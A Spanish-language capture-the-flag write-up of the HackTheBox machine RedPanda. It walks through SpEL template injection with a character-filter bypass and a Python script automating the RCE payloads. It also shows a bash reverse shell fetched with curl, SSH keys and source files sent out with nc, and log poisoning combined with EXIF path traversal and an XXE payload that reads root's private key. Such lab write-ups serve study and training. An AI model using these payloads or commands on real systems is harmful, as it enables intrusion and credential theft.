the_open_door
café
ESEN

RedPanda

HackTheBoxFácilLinux10.10.11.170

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#spring-boot#ssti#spel#waf-bypass#rce#exiftool#metadata#log-poisoning#xxe#ssh#oscp
TL;DR. El 8080 corre una web en Spring Boot con un buscador que refleja la entrada: vulnerable a SSTI. El *{7*7} confirma motor Spring (SpEL); con un payload que codifica el comando carácter a carácter (para esquivar el filtro de $) se consigue RCE y shell como woodenk (user). Para root: el usuario está en el grupo logs, y un proceso Java que corre como root (LogParser) parsea redpanda.log periódicamente. Encadenando envenenamiento del log (cabecera User-Agent), metadatos EXIF de una imagen (campo Artist) y un XXE en el XML que el parser lee, se exfiltra la id_rsa de root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que el host responde y mirar el TTL (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.170

ping a 10.10.11.170: ttl=63 apunta a Linux

64 bytes from 10.10.11.170: icmp_seq=1 ttl=63 time=98.2 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo UDP: nada

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.170 | grep -v 'no-response'

nmap -sU sobre los 100 puertos UDP más comunes de 10.10.11.170: la tabla de puertos sale vacía

Initiating UDP Scan
Scanning 10.10.11.170 [100 ports]
Completed UDP Scan (100 total ports)
Nmap scan report for 10.10.11.170
Host is up, received user-set.

PORT       STATE          SERVICE          REASON

Nmap done: 1 IP address (1 host up) scanned

Tabla vacía. Se enseña precisamente porque está vacía: descarta de golpe SNMP, TFTP, NFS y todo lo que suele esconderse en UDP, y ahorra al lector preguntarse si se llegó a mirar.

Escaneo de puertos

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.170 -oG scan

nmap -p- contra 10.10.11.170: de los 65535 puertos solo el 22 (ssh) y el 8080 (http-proxy) están abiertos

Discovered open port 22/tcp on 10.10.11.170
Discovered open port 8080/tcp on 10.10.11.170
Completed SYN Stealth Scan (65535 total ports)

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Dos puertos, y el 22 sin credenciales no es un vector: todo tiene que salir del 8080.

extractPorts leyendo el fichero scan y devolviendo IP Address 10.10.11.170 y Open ports 22,8080

Extracting information...
IP Address: 10.10.11.170
Open ports: 22,8080

Ports copied to clipboard
nmap -p22,8080 -sCV 10.10.11.170

nmap -sCV: OpenSSH 8.2p1 y Apache Tomcat con Spring Boot en 8080

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat (language: en)
|_http-title: Red Panda Search | Made with Spring Boot
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El http-title lo dice claro: "Made with Spring Boot". Ese dato no es decorativo: identifica el motor de plantillas que hay detrás, y por tanto la sintaxis exacta que habrá que usar más adelante.

whatweb 10.10.11.170:8080

whatweb contra el 8080 identificando el título "Red Panda Search | Made with Spring Boot"

http://10.10.11.170:8080 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.11.170],
  Title[Red Panda Search | Made with Spring Boot]

Wappalyzer, que suele complementar a whatweb, aquí no aporta: solo detecta la tipografía.

Wappalyzer sobre el 8080: en Technologies únicamente aparece Font scripts con Font Awesome

Font scripts
  Font Awesome

Lo cual, en negativo, ya dice algo: no hay un CMS ni un framework reconocible por firmas, así que la única pista del stack es la que dio el título de la página.

El código fuente de la portada no esconde nada:

el código fuente de la página principal, sin comentarios ni rutas ocultas

Y la enumeración de rutas devuelve muy poco:

dirsearch -u http://10.10.11.170:8080/ --exclude-status=403,404

dirsearch sobre el 8080 encontrando solo /search con un 405 y /stats con un 200

[20:54:59] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[20:55:00] 400 -  435B  - /a%5c.aspx
[20:55:21] 500 -   86B  - /error
[20:55:44] 405 -  117B  - /search
[20:55:48] 200 -  987B  - /stats
Task Completed

Dos hallazgos, y ambos por su código de estado, no por su contenido: /search devuelve 405 (método no permitido, o sea que existe pero solo acepta POST, que es justo lo que hace el buscador de la portada) y /stats un 200. El /error con 500 es la página de error por defecto de Spring Boot, otra confirmación del framework. No hay más superficie: el foco está en el buscador.

Shell como woodenk

SSTI en el buscador (motor Spring)

La única funcionalidad de la web es su buscador, así que se prueba con una cadena cualquiera:

El buscador de Red Panda Search con la palabra hola escrita en la caja de búsqueda

Y la entrada aparece tal cual en la respuesta:

el buscador de Red Panda Search con una consulta cualquiera y su reflejo en "You searched for:"

Input reflejado + motor de plantillas conocido es el escenario de manual para probar SSTI. El primer payload es el genérico:

la búsqueda {{7*7}} devuelve "You searched for: {{7*7}}", sin evaluar

You searched for: {{7*7}}
There are 0 results for your search

Se refleja literal, sin evaluar. Mucha gente cierra aquí y da la web por no vulnerable, pero {{...}} es la sintaxis de Jinja2/Twig/Handlebars, no la de Spring. La tabla de PayloadsAllTheThings recuerda que Spring usa expresiones de selección con *{...} (SpEL):

Tabla de PayloadsAllTheThings: Spring usa *{7*7}

la búsqueda *{7*7} devuelve "You searched for: 49": la expresión se ha evaluado

You searched for: 49
There are 0 results for your search

49. Confirmado el SSTI sobre SpEL (Spring Expression Language). La lección es que el payload genérico fallando no descarta nada: descarta ese motor.

De SSTI a RCE

El mismo repositorio trae, en su fichero de SSTI para Java, los payloads que van más allá de la aritmética. Hay dos variantes de la misma idea, y merece la pena fijarse en la segunda:

La sección Java - Retrieve /etc/passwd de PayloadsAllTheThings: dos payloads, uno con exec directo y otro que lo envuelve en IOUtils.toString y usa Character.toString con códigos numéricos

Java - Retrieve Environment Variables
${T(java.lang.System).getenv()}

Java - Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99...

La primera se limita a ejecutar; la segunda envuelve la ejecución en IOUtils.toString(...) para leer su salida y, además, construye el comando con Character.toString(...) a partir de códigos numéricos. Esos dos detalles van a ser exactamente lo que haga falta aquí, pero se llega a ellos por partes.

El siguiente paso es pasar de evaluar aritmética a ejecutar comandos, con la expresión SpEL que invoca Runtime.getRuntime().exec(...). Primero tal cual viene en la documentación:

${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

la búsqueda con el payload que empieza por ${ devuelve "Error occured: banned characters"

You searched for: Error occured: banned characters

banned characters. Hay una lista negra, y el $ está en ella (por eso el *{7*7} sí funcionaba). Se sustituye el prefijo por el que ya sabemos que pasa:

*{T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

la misma búsqueda con el prefijo asterisco devuelve un objeto Process con pid 2312 y exitValue not exited

You searched for: Process[pid=2312, exitValue="not exited"]

Cambio de mensaje, y es un avance enorme: Process[pid=2312, exitValue="not exited"] es lo que Java imprime al convertir a texto un objeto Process. Es decir, el comando se ha ejecutado (existe un PID real), pero lo que se devuelve es el objeto, no su salida. Falta envolverlo para leer el InputStream del proceso, y ahí es donde entra IOUtils.toString(...).

Además hay que sortear la lista negra en el propio comando. El truco es construir la cadena carácter a carácter desde su código ASCII con T(java.lang.Character).toString(N), evitando comillas y símbolos prohibidos:

man ascii mostrando la tabla de códigos decimales que usa el payload

El payload que lee /etc/passwd queda así (abreviado):

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime()
  .exec(T(java.lang.Character).toString(99).concat(...)) .getInputStream())}

El SSTI devuelve el contenido de /etc/passwd reflejado en la búsqueda

La respuesta refleja /etc/passwd entero: tenemos RCE.

la búsqueda con el payload completo devuelve el contenido de /etc/passwd reflejado en la página

Escribir ese payload a mano por cada comando es inviable (cat /etc/passwd son quince llamadas a toString()), así que lo automatizamos con un script de Python que recibe el comando, lo convierte a la cadena de concat(...) y lanza la petición:

#!/usr/bin/python3
import sys, requests, re

def makePayload():
    command = sys.argv[1]
    payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % ord(command[0])
    for character in command[1:]:
        payload += ".concat(T(java.lang.Character).toString(%s))" % ord(character)
    payload += ").getInputStream())}"
    return payload

def makeRequest(payload):
    r = requests.post("http://10.10.11.170:8080/search", data={'name': payload})
    m = re.search(r'<h2 class="searched">(?:You searched for:\s*)?(.*?)</h2>', r.text, re.DOTALL | re.IGNORECASE)
    if m: print(m.group(1).strip())

makeRequest(makePayload())

el script RCE.py escrito en el editor, con las funciones makePayload y makeRequest

La expresión regular del makeRequest es lo que hace el script usable: extrae solo el contenido del <h2 class="searched"> de la respuesta, así que por consola sale la salida del comando y nada más.

Reverse shell

Con el script ya es directo: dejamos un script de reverse shell servido por HTTP, lo descargamos y lo ejecutamos en la víctima:

echo 'bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"' > shell.sh
python3 -m http.server 80
nc -nlvp 443
python3 RCE.py "curl http://10.10.16.6/shell.sh -o /tmp/shell.sh"
python3 RCE.py "chmod +x /tmp/shell.sh"
python3 RCE.py "/bin/bash /tmp/shell.sh"

reverse shell entrante como woodenk; id muestra el grupo logs

woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)

Shell como woodenk, con un detalle importante: pertenece al grupo logs. La flag de usuario:

cat user.txt

cat user.txt como woodenk

cead9522f2e19a8922c1e2185ea23836

Antes de seguir conviene dejar persistencia con un par de claves SSH, porque una reverse shell se cae al menor tropiezo:

ssh-keygen -t rsa -b 2048 -f /home/woodenk/.ssh/id_rsa -N '' -q
cat /home/woodenk/.ssh/id_rsa.pub > /home/woodenk/.ssh/authorized_keys
chmod 600 /home/woodenk/.ssh/authorized_keys
cat /home/woodenk/.ssh/id_rsa | nc 10.10.16.6 443     # y en el atacante: nc -nlvp 443 > id_rsa

la generación del par de claves en el home de woodenk, el authorized_keys y la exfiltración de la privada por nc

woodenk@redpanda:~$ ls -l .ssh
total 8
-rw------- 1 woodenk logs 1823 Oct 13 13:24 id_rsa
-rw-r--r-- 1 woodenk logs  398 Oct 13 13:24 id_rsa.pub
woodenk@redpanda:~/.ssh$ which nc
/usr/bin/nc

# en el atacante:
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.170] 47704

El which nc no es un capricho: si el binario no estuviera, habría que sacar la clave por otra vía (base64 por la propia webshell, por ejemplo).

chmod 600 id_rsa
ssh -i id_rsa woodenk@10.10.11.170
id

ssh -i id_rsa woodenk@10.10.11.170 abre sesión, pero el id ya NO muestra el grupo logs

woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)

Ojo al detalle: el id de la sesión SSH ya no incluye 1001(logs), mientras que el de la reverse shell sí lo tenía. El motivo es que el proceso Java del que colgaba la reverse shell corre con ese grupo suplementario, y una sesión SSH limpia solo carga los grupos del usuario. Para el siguiente paso hay que tenerlo presente: conviene trabajar desde la reverse shell, o los ficheros del grupo logs quedarán fuera de alcance.

Escalada de privilegios a root

El grupo logs y un parser Java periódico

Listamos los recursos del grupo logs:

find / -group logs 2>/dev/null | grep -vE 'home|proc'
curl 127.0.0.1:8080 &>/dev/null
cat /opt/panda_search/redpanda.log

find -group logs lleva a redpanda.log; una petición a localhost añade una línea status||ip||user-agent||uri

/opt/panda_search/redpanda.log
/credits
...
200 || 127.0.0.1 || curl/7.68.0 || /

El fichero /opt/panda_search/redpanda.log registra cada petición con el formato status_code || ip || user_agent || uri, y dos de esos campos (user_agent y uri) son controlables por el atacante. Además, las entradas que añadimos desaparecen a los pocos minutos, señal de que algún proceso de root toca el fichero. Monitorizamos procesos con un script en bash:

#!/bin/bash
old_process=$(ps -eo command)
while true; do
    new_process=$(ps -eo command)
    diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "command|procmon|kworker"
    old_process=$new_process
done

procmon.sh: un proceso java -jar .../LogParser/.../final-1.0-jar-with-dependencies.jar corre periódicamente como root

> /usr/sbin/CRON -f
> /bin/sh -c /root/run_credits.sh
> java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
> /bin/bash /opt/cleanup.sh

Entre el ruido aparece un proceso Java ejecutado por root desde un cron: java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar. Eso explica el comportamiento del log. Localizamos el código fuente y lo leemos:

grep -r 'redpanda.log' /opt/credit-score/LogParser

grep -r redpanda.log sobre /opt/credit-score/LogParser devuelve una única coincidencia, en App.java

/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java:
        File log_fd = new File("/opt/panda_search/redpanda.log");

Una sola coincidencia en todo el árbol, y apunta directamente al fichero fuente. Para leerlo con comodidad (resaltado de sintaxis incluido) se transfiere a la máquina atacante:

cat /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java | nc 10.10.16.6 4444
# en el atacante:  sudo nc -nlvp 4444 > app.java

nc transfiriendo App.java desde la víctima a la máquina atacante, donde se abre con batcat

package com.logparser;

import java.io.BufferedWriter;
import java.io.File;
...
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;

import org.jdom2.input.SAXBuilder;
import org.jdom2.output.XMLOutputter;

public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);

Los import de arriba ya cuentan media historia: com.drew.imaging.jpeg es la librería que lee metadatos EXIF y org.jdom2.input.SAXBuilder es un parser XML. Las dos piezas del ataque están declaradas en la cabecera del fichero.

Qué hace App.java

Leyendo el código función a función se entiende la cadena que abusaremos.

el main() de App.java abriendo /opt/panda_search/redpanda.log y recorriéndolo línea a línea

main() abre redpanda.log y lo recorre línea a línea, llamando a isImage() con cada una.

la función isImage() comprobando si la línea contiene la cadena .jpg

isImage() filtra: solo siguen adelante las líneas que contengan .jpg.

la función parseLog() partiendo la línea por el carácter | y asignando status_code, ip, user_agent y uri

parseLog() parte la línea por | y asigna los campos en orden: status_code, ip, user_agent y uri. Aquí está la primera grieta: si el User-Agent que enviamos contiene un |, desplaza los campos y el contenido que pongamos detrás acaba en uri.

la función getArtist() abriendo la imagen indicada por uri y leyendo su metadato EXIF Artist

getArtist() toma ese uri (que apunta a un .jpg), abre la imagen y lee su metadato Artist con una librería EXIF. Segunda grieta: ese metadato lo controlamos con exiftool.

la función addViewTo() construyendo la ruta /credits/&lt;artist&gt;_creds.xml y parseándola con un SAXBuilder

De vuelta en main(), se construye la ruta /credits/ + artist + _creds.xml y addViewTo() la parsea como XML. Tercera grieta, y la definitiva: un parser XML que abre un fichero cuya ruta hemos elegido.

Tres piezas encadenables: controlamos el uri del log (y por tanto qué imagen lee), controlamos el metadato Artist de esa imagen (y por tanto la ruta del XML), y el programa parsea un XML que podemos pre-crear: terreno perfecto para un XXE.

XXE vía log + metadatos EXIF

Primero preparamos una imagen cuyo metadato Artist sea una ruta que saque el XML fuera de /credits/, hacia /tmp (escribible por nosotros):

La imagen la sirve la propia web, así que su ruta se saca del menú contextual del navegador sobre cualquiera de los resultados:

Menú contextual del navegador sobre la imagen de un resultado de búsqueda, con la opción Copy Image Link resaltada

wget http://10.10.11.170:8080/img/florida.jpg -O jaime.jpg
exiftool -Artist='../../../../../../../../../tmp/jaime' jaime.jpg
exiftool jaime.jpg | grep -i artist

exiftool fija el metadato Artist a ../../../../tmp/jaime

Artist                          : ../../../../../../../../../tmp/jaime

Se sube jaime.jpg a /tmp de la víctima sirviéndola por HTTP desde la máquina atacante:

python3 -m http.server 80          # en el atacante
wget http://10.10.16.6/jaime.jpg   # en la víctima, desde /tmp
ls

la víctima descargando jaime.jpg con wget a /tmp y confirmando el fichero con ls

woodenk@redpanda:/tmp$ wget http://10.10.16.6/jaime.jpg
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 111378 (109K) [image/jpeg]
Saving to: 'jaime.jpg'

jaime.jpg           100%[===================>] 108.77K   147KB/s    in 0.7s

2025-10-13 15:49:54 (147 KB/s) - 'jaime.jpg' saved [111378/111378]

woodenk@redpanda:/tmp$ ls
hsperfdata_root   hsperfdata_woodenk   jaime.jpg   shell.sh   ...

# y en el servidor HTTP del atacante:
10.10.11.170 - - [13/Oct/2025 17:49:52] "GET /jaime.jpg HTTP/1.1" 200 -

Para el XML no hay que inventarse la estructura: al pie de cada resultado de búsqueda hay un enlace con el autor de la ficha.

Al final de la ficha de un panda, el enlace Author: woodenk resaltado en rojo

Ese enlace lleva a un export.xml que la propia aplicación genera, y que sirve de plantilla válida.

la web ofrece un enlace de exportación que devuelve export.xml?author=woodenk con la estructura de credits

wget "http://10.10.11.170:8080/export.xml?author=woodenk"
cat "export.xml?author=woodenk"
nano jaime_creds.xml

el export.xml descargado y el jaime_creds.xml editado con la entidad XXE apuntando a /root/.ssh/id_rsa

Se crea en /tmp el XML que el parser leerá (/tmp/jaime_creds.xml), con un payload XXE que define una entidad externa apuntando a la id_rsa de root y la coloca en un campo que se reflejará:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
  <author>&xxe;</author>
  ...
</credits>

Ahora envenenamos el log: una petición con un User-Agent que, al partir por |, deja en el campo uri la ruta a nuestra imagen:

curl 10.10.11.170:8080 -s -X GET -A "prueba:||/../../../../../../../../../../tmp/jaime.jpg" &>/dev/null
cat /opt/panda_search/redpanda.log

redpanda.log con la nueva línea: el User-Agent envenenado ha colocado la ruta de la imagen en el cuarto campo, uri

200 || 10.10.16.6 || prueba: || /../../../../../../../../../../tmp/jaime.jpg

Los dos | del User-Agent han hecho su trabajo: el tercer campo se queda con prueba: y la ruta de nuestra imagen aterriza en el cuarto, que es el uri que getArtist() va a abrir. Ahora solo hay que esperar a que el cron dispare el parser.

Cuando el proceso Java de root procesa esa línea: lee /tmp/jaime.jpg, saca de su Artist la ruta ../../../tmp/jaime, construye /tmp/jaime_creds.xml, y parsea nuestro XML. El parser resuelve la entidad externa y vuelca la id_rsa de root en el campo author:

El XML parseado por el proceso root contiene la BEGIN OPENSSH PRIVATE KEY de root (XXE)

<author>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQ...
-----END OPENSSH PRIVATE KEY-----</author>

Guardamos la clave y le ponemos permisos 600 (sin eso, ssh la rechaza por ser legible por otros):

nano id_rsa
chmod 600 id_rsa

la id_rsa de root guardada en un fichero local y el chmod 600 correspondiente

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
<SNIP>
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----

El comentario final de la clave, root@redpanda, confirma de quién es antes de gastar un intento de conexión.

ssh -i id_rsa root@10.10.11.170
cat /root/root.txt

ssh -i id_rsa root@10.10.11.170: sesión de root y root.txt

6a64fcf8a9d97378c96f7894e0f013b7

Cadena de ataque

nmap (22, 8080) → Spring Boot
  └─> buscador refleja la entrada → SSTI; *{7*7} confirma SpEL (bypass de $)
        └─> SpEL exec() con cadena codificada en ASCII → RCE → shell woodenk (user.txt, grupo logs)
              └─> redpanda.log (grupo logs) + proceso root java LogParser
                    └─> App.java: log.uri → imagen .jpg → metadato Artist → /credits/<artist>_creds.xml (parseado)
                          └─> exiftool Artist=../../tmp/jaime + User-Agent envenena uri + XML con XXE
                                └─> parser root resuelve file:///root/.ssh/id_rsa → id_rsa de root
                                      └─> ssh -i id_rsa root → root (root.txt)

Lecciones aprendidas

  • SSTI: probar la sintaxis de cada motor antes de descartar. ${7*7} falló, pero *{7*7} (SpEL de Spring) funcionó. Conocer el stack (aquí, "Made with Spring Boot") orienta el payload correcto.
  • Los filtros de caracteres se esquivan. Con el $ bloqueado, construir el comando carácter a carácter desde su código ASCII (Character.toString(N).concat(...)) sortea el filtro: una lista negra rara vez cubre todas las codificaciones.
  • Los metadatos son entrada del usuario. El campo EXIF Artist, controlable con exiftool, dirigía la ruta de un fichero que un proceso privilegiado abría: nunca confiar en metadatos para construir rutas.
  • Encadenar primitivas débiles da una fuerte. Por separado, escribir en un log, editar metadatos o que un proceso lea un XML parecen inofensivos; juntos forman un XXE ejecutado como root que exfiltra su clave SSH.
  • Un parser XML inseguro es crítico. Deshabilitar la resolución de entidades externas (XXE) en el parser habría cortado toda la cadena de escalada.
Cheatsheet de comandos 13 comandos

Repaso rápido